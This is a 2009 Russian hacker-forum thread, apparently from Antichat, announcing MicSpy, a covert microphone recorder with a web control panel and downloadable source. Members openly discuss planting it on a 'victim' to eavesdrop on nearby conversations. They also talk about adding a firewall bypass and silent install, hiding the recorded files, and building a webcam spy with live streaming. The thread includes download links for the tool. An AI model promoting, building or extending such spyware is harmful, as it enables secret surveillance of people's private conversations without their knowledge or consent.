PDA

Просмотр полной версии : MicSpy By SLESH 1.0b


slesh
31.03.2009, 22:55
Извеняюсь перед Nightmarе, ибо я скопипастил его идею ))

Программа: MicSpy By SLESH 1.0b
Язык: Delphi
Размер: Чистый размер после компила через альтернативные модули 13824 байта
Размер после UPX 7680 байт
Предназнаение: Скрытая запись звука с устройства установленного поумолчанию в системе для записи голоса (микрофон или линейный вход, или стере/моно микс), что настроено, с того и пишет.
Особенности:
1) Данные записываются в формате mp3 24 КГц 32кбит/с, моно. Для записи используется стандартный виндовый кодек MPEG LAYER-3
2) Название файлов генерируется как год_месяц_день_час-минуты-секунды.mp3
3) Управление программой осуществляется через WEB интерфейс. Подключатьcя к порту 4545. Типа http://127.0.0.1:4545/
4) Админка предоставляет слудющие функции:
- выгрузка программы
- начать/остановить запись
- отображение списка записанных файлов + размер их
- удалять записанные файлы
- скачевать записанные файлы
Разное: Ну програмка довольно сыроватая, но с легкость может быть доделана функция обхода виндового фаера + инстал в систему. Проверял запись с установленными устройствами - микрофон и стерео микс - вроде нормально пишет в файл.
Коментарии и тесты пишите сюда.
В архиве имеется сама прожка + её исходник.
Исходник
MicSpy.dpr - основная часть (реализация админки)
API.pas - константы, типы и функцкии, юзал для уменьшения размера, т.к. отказался от модуля Windows.pas
MicRec.pas - функции записи

Gar|k
31.03.2009, 22:58
и зачем такая прога нужна?

ReduKToR
31.03.2009, 22:59
малыйй вес радует.... словом +2

ReduKToR
31.03.2009, 23:01
Gar|k,жертве закинул и писдиш разговоры которые возле компа слышны

$Atlet$
31.03.2009, 23:10
Наличие удаленного управления радует, потом попробовать надо будет. Щас Найтмаровскую версию юзаю всё очень ОК!

slesh
31.03.2009, 23:20
Меня очень смущает, то что пишет с того устройства которое выбранно для записи.

slesh
31.03.2009, 23:23
P.S. я не стал полностью повторять концепцию Nightmarе т.к. это былобы полным копипастом идеи )

НTL
01.04.2009, 01:49
новая гадость от слеша....

eLWAux
01.04.2009, 02:06
новая гадость от слеша....
ну не говори! ,а лучше сам напиши что-то

slesh
01.04.2009, 02:07
Ну почему сразу гадось? Это вполне безобидненький звукорекордер.....
Он еще маленький и его незя называть гадостью, а то обидится и пожалуется папе Саунд Форджу!
А вообще это чисто с учебной целью всё )

NetSter
01.04.2009, 02:07
новая гадость от слеша....
Мальчик, ротик то прикрой. Или думаешь все забыли как ты протроянивал ачатовцев пинчем от того самого Слэша?

Nightmarе
01.04.2009, 02:12
Что-ж сказать, молодец.
Программа более профессиональная, мне до чистого WinApi ещё ухх как далеко.
Фишка с удалённым управлением очень интересная, но всё-же не стоит забывать, что внешний IP это большая редкость.
А так очень интересная идея со встроенным красивым веб интерфейсом…
В общем зачот!!!!!!!

ЗЫ: а вот исходники очень зря выложил. Вещь действительно стоющяя, и неудивительно, если завтра такая же прога появится, но тока под другим авторством… ибо на ачате таких «кодеров» хватает.

slesh
01.04.2009, 02:19
2 Nightmarе Былобы что стоящее, то можно было исходники не выкладывать.
А так это просто пока наброски, единственное что может пригодиться многим - админка, т.к. её легко переписать под любой софт. А сам понимаешь - веб интерфейс управления довольно удобен и не требует левых управляющих модулей. Хотя может и спорная эта вешь.
p.s. там в исходнике есть место d:=#...... его размер указывается в cbsize
вот это полный хз. скока доки смотрел везеде пишется cbsize зарезервировано и не юзается. А без него непашет. А вообще можно ради интереса добавить еще MSACMовскую фишку - диалог выбора кодека. Вот тока глюки какието бывают. MPEG LAYER 3 наглухо отказался писать записывать при битрейте <32kbps

geezer.code
01.04.2009, 14:29
на висте не робит =\
багрепорт такой:
1 прога запускается
2 открывается веб-интерфейс
3 при нажати на start record перебрасывает на 127.0.0.1:4545/0/
4 больше ничего не выводит.
5 файлов никаких на hdd не нашел
6 прога успешно выгружается по кнопке в админке.
зы Vista sp1 , audio device SigmaTel HDA

slesh
01.04.2009, 16:44
Там уже значит нужно разбираться с самими кодеками. Или может MS как всегда херню какуюнить замутила.
Тестил на XP Sp2 и Win2k3 SP2 - везде пахала

art2222
01.04.2009, 17:32
Однозначно респект.
/me убежал изучать

CrazyStudentS_Mi}{
01.04.2009, 18:13
сделайте такую для вебкамер!

zeppe1in
01.04.2009, 18:21
исходники вэб админки очень кстати, мне как раз нужно удалённое управление, а сделать через вэб я чо то и не допёр даже. а тут тебе и исходники сразу. отлично!)
только вот админка есть, а авторизации в адмике нету), непорядок.

slesh
01.04.2009, 19:09
Ну этоже типа демо софт. А так авторизацию не сложно сделать. Достаточно просто парсить куки

Pernat1y
02.04.2009, 18:46
молодец, и +1 к идее, о реализации поддержки веб-камер :)

новая гадость от слеша....
иди пиши дальше свой говно-софт

zeppe1in
21.04.2009, 00:47
slesh, а почему function Header(), а не const?

slesh
21.04.2009, 10:01
Да просто всё быстро писал, думал может чтото придется там вычислять, но лишних вычислений небыло, по этому так и осталось без изменений )

zeppe1in
21.04.2009, 13:03
а я подумал может я чего то не знаю и это какие нибудь чудеса оптимизации))

De-visible
21.04.2009, 19:07
Только не понятно зачем все на WinApi))))?

slesh
21.04.2009, 19:33
А затем что бы размерчег маленький был )

AlexTheC0d3r
21.04.2009, 19:49
ЗЫ: а вот исходники очень зря выложил. Вещь действительно стоющяя, и неудивительно, если завтра такая же прога появится, но тока под другим авторством… ибо на ачате таких «кодеров» хватает.


:) правильно что выложил исходники, пусть люди учатся. +многим будет с самого начала непонятен winapi.

насчет кодеров :) :
да, есть тут такие, помню сам с твоего фейка начал) Ноо, потом исправился...


Кстати, может эта прога будет в следущем номере "x"

slesh
21.04.2009, 20:06
2 AlexTheC0d3r

Кстати, может эта прога будет в следущем номере "x"

Комуже в голову придет это сырьё кидать в X
Хотя с сохранением копирайта, я был бы не против понаблюдать её там )))

De-visible
21.04.2009, 20:33
помоему в данном случае размер не имеет значения))

slesh
03.06.2009, 09:29
Ыть. o_O А прожка и правдо попала в майский ][
Жесть, и спасибо за "спасибо" ))

JeDaSe
03.06.2009, 11:18
а web камеру туда ещё можно?

ronald
03.06.2009, 11:28
да-да камера не помешала бы и прямая трансляция.
Кстати поздравляю с "залётом" в ][.

slesh
03.06.2009, 12:22
Можно былобы попробовать написать прожку минимального размера для потокового вещания с вебкамеры, но нету камеры чтобы тестить )

.::f-duck::.
03.06.2009, 12:35
Там походу архив битый.
Короче, пишет ошибка в данных CRC

JeDaSe
03.06.2009, 12:51
Можно былобы попробовать написать прожку минимального размера для потокового вещания с вебкамеры, но нету камеры чтобы тестить )
у меня есть, я могу тестить

Chrome~
03.06.2009, 13:44
Перезалейте, пожалуйста.
А автору спасибо: даже самые отзывы и описание проги говорят, что продукт стоящий.

DezMond™
03.06.2009, 21:21
А паковал чем то особенным?, у мну ошибка при разахивации(( залейте плиз.

slesh
03.06.2009, 21:46
После переезда на другой серв, видимо навернулся аттач.
По этому скачать можно отсюда
http://slesh.name/uploads/MicSpy.rar

Gar|k
03.06.2009, 23:26
веб админка, прикольно :) мини сервер прям, жаль только что сетевое программирование целая наука (я говорю о устойчивых к сбоям, разрывам соеднинений программах)

незнай но мне кажется удобнее работать на уровне своего специализированого клиент-сервера (придумать свой вид пакетов... ведь в одном байте можно закодить 255 разных значений хех), чем с HTTP протоколом... меньше трафика...

zeppe1in
04.06.2009, 02:23
Gar|k
ой да ладно, наука. что такое "устойчивые к сбоям, разрывам соеднинения" не понятно кстати)

Nightmarе
04.06.2009, 02:48
А Nightmarе случаем не тот,который пранки делает?
Он самый, но сейчас временно на пенсии ;)

Хотелось бы сказать, кто надумает писать веб-камерного шпиёна, делайте его плииз консольным, чтобы можно было воспользоваться везде, а не только при определённых условиях.
Да, и вещь будет явно востребованная.

slesh
04.06.2009, 09:40
1) устойчивость к ошибкам - это не твоя задача это делает за тебя TCP/IP драйвер.
2) Устойчивость к сбоям типа данне потерялись, то тут банальная проверка длинны пакеты (если ты передаеш его)
А еще лучше делать по другому(для устойчивости)
СИГНАТУРА_1 + ДЛИННА ПАКЕТА + ДАННЫЕ + СИГНАТУРА_2
И тогда все данные которые непроходят проверку на сигнатуру или длинну сразу отбрасываются как ошибочные.
3) разрыв соединения - ну разорвалось, ну и что с этого? Если ты ждал данные через recv то получиш 0 в ответ. И там дальше уже по обстоятельствам решиш.

Так что всё дело даже не в сетевой реализации, а в протоколе который будет использоваться.

slesh
04.06.2009, 09:44
Вообще задумка с вебкамерой была такая
1) прожка - сервис и консоль.
2) потоковое вешание клиенту. Хотелось бы сделать веб интерфейс клинта
3) вот незнаю что лучше - через ax подрубить флеш или через dx делать

Но всё равно времяни нет делать (

Gar|k
04.06.2009, 17:15
2 slesh, zeppe1in Йон Снейдер: Эффективное программирование TCP/IP (http://booksget.net/programming/tcpip/jon-snejder-effektivnoe-programmirovanie-tcpip)

почитатай... и поймешь что иногда даже получить длину пакета невозможно из-за задержек тд и тп... реальная сеть это тебе не 127.0.0.1 :)

slesh
04.06.2009, 18:40
2 Gar|k ты это говоришь человеку который пишет ботов с программной админкой?
А получить длину пакета я всегда смогу потому что длинна у меня - идет сразу после сигнатуры. И потом дочитывается оставшаяся часть если идет фрагментированный пакет.

Gar|k
04.06.2009, 19:19
2 slesh пффф я просто рекомендую тебе прочитать книжку, может найдешь для себя что-то новое, может нет. книжка хорошая и не повредит в любом случае)

slesh
04.06.2009, 19:55
За книжку спасибо. Обзорно пролистал её. Книжечка довольно сыровата.
Заточена для nix систем. В ней НЕ описаны очень многие моменты которые присутствуют на Win системах. Причем многие из этим моментов довольно весомый вклад вносят в работу.

p.s. автор пользовался литературой 90-х годов.
Самая свежая книга - 2000 года.
А С тех пор много что изменилось. К примеру виндовые сокеты стали поддерживать больше BSD'шных функций, которые ранее не поддерживались (К примеру - установка таймаута на чтение данные в блокируемых сокетах)

qwerra
19.09.2009, 16:57
А как бэ эээ,в о бщем,не появилось ли время для вебкам? :)

slesh
20.09.2009, 11:01
Сейчас времяни вообще нет. Даже кодить проекты невсегда есть.

#berkut#
24.09.2009, 21:32
Не могли бы на файлообменник залить? Не открывается почему-то, а посмотреть интересно.

PenSpinner
25.09.2009, 15:19
спасибо, классная вешь. только вот правильно "Program stopped"

ErrorNeo
25.09.2009, 20:58
#berkut# ссылка на скачивание есть в теме.
Если тебе лень прочесть эти 5 страниц - эта прога тебе не нужна.

Pernat1y
10.10.2009, 15:18
о проге написали в сентябрьском Хакере )

shellz[21h]
18.10.2009, 01:40
перезалейте архив плиз, в нем файлы битые. Заранее блогадарен!

$Atlet$
18.10.2009, 09:49
Перезалил http://rapidshara.ru/126590

shellz[21h]
18.10.2009, 09:58
$Atlet$, спасибо!

0ldbi4
23.10.2009, 17:07
Знаю как реализовать ICQ админку или с другим IM, но не знаю как скачать потом запись, как скрыть файлы которые только записались, можешь в это сторону попробывать развить проект.

alexanderkos
24.10.2009, 21:55
Прога класная!!! Можно подслушивать в реальном режими??

Steker
19.12.2009, 23:33
Ошибки в исходниках специально оставил?)

0ldbi4
20.12.2009, 01:52
ТАм нет ошибок)) там винсок найди второй и сунь в папку...